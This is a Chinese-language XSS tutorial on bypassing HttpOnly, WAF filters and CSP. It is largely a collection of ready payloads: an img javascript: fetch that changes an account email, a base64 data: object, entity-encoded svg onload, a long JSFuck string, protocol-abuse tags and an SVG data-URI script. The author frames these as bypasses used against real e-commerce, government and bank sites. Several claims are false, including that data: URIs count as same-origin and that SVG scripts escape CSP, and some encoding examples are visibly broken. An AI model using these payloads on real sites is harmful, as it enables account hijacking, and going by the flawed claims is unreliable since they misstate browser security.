XSS攻防实战:绕过HttpOnly与过滤机制的进阶技巧
1. HttpOnly防护的本质与局限
HttpOnly是Cookie的一个安全属性,它的作用就像给保险箱加上指纹锁——虽然不能防止小偷进入房间,但能阻止他们打开保险箱。当服务器在Set-Cookie响应头中添加HttpOnly标志后,客户端JavaScript就无法通过document.cookie读取该Cookie值。这确实能有效防御传统的Cookie窃取型XSS攻击,但很多开发者误以为这就万事大吉了。
我在实际渗透测试中发现,HttpOnly防护存在三个典型盲区:
- 会话固定攻击:攻击者仍可通过JavaScript设置Cookie值
- DOM型XSS:不需要读取Cookie也能实现页面篡改
- CSRF组合拳:配合其他漏洞可完成更复杂的攻击链
比如去年审计某电商系统时,虽然关键Cookie都设置了HttpOnly,但通过注入<img src="javascript:fetch('/api/change_email',{method:'POST'})">仍然实现了账户劫持。这说明防护需要多层次配合,单靠HttpOnly远远不够。
2. 现代WAF的过滤规则剖析
主流WAF的XSS过滤通常采用"关键词黑名单+语法分析"的双重机制。以Cloudflare为例,其规则库会检测:
- 高危关键词(alert、prompt、eval等)
- 特殊字符(<、>、"、'等)
- 常见事件处理器(onerror、onload等)
- JavaScript伪协议(javascript:)
但我在绕过阿里云WAF时发现,这些规则存在几个突破口:
- 上下文感知缺失:无法区分
<img src=1 onerror=alert(1)>中的alert是攻击代码还是合法文本 - 编码还原缺陷:多层编码如
javascript:可能被放过 - 协议白名单漏洞:dataURI和about:blank常被误认为安全协议
实测案例:某政府网站使用WAF过滤了所有常见事件处理器,但通过<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">成功绕过。
3. 高级编码混淆技术实战
当基础过滤无法绕过时,编码混淆就像给攻击代码穿上"隐身衣"。我总结出四层编码组合拳:
3.1 HTML实体嵌套
<!-- 三层实体编码示例 --> <svg onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">这种写法能绕过大多数简单过滤器,因为:
- 第一层解析为
a...形式 - 第二层解析为alert(1)的16进制表示
- 最终执行时才还原为可执行代码
3.2 JSFuck艺术
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]()[+[]])()这种极简编码方式将JS代码全部转换为[]()!+字符组合,曾在某CTF比赛中成功绕过7层过滤检测。
4. 协议滥用与DOM构造技巧
当常规注入点都被封堵时,浏览器支持的各类协议就成了突破口。我在最近的项目中发现这些高危协议:
| 协议类型 | 利用示例 | 适用场景 |
|---|---|---|
| data: | <iframe src="data:text/html,<script>alert(1)</script>"> | 需要执行完整JS代码时 |
| javascript: | <a href="javascript:eval(atob('YWxlcnQoMSk='))"> | 需要短小精悍的payload时 |
| about: | <embed src="about:blank" onload="alert(1)"> | 需要空白上下文环境时 |
特别危险的组合技是SVG+dataURI:
<svg><script xlink:href="data:text/javascript,alert(document.domain)"/></svg>这个payload在某银行系统的富文本编辑器中被发现可绕过CSP限制,因为:
- SVG命名空间下的脚本执行不受常规CSP限制
- dataURI协议被视为同源内容
- xlink:href属性常被WAF忽略检查
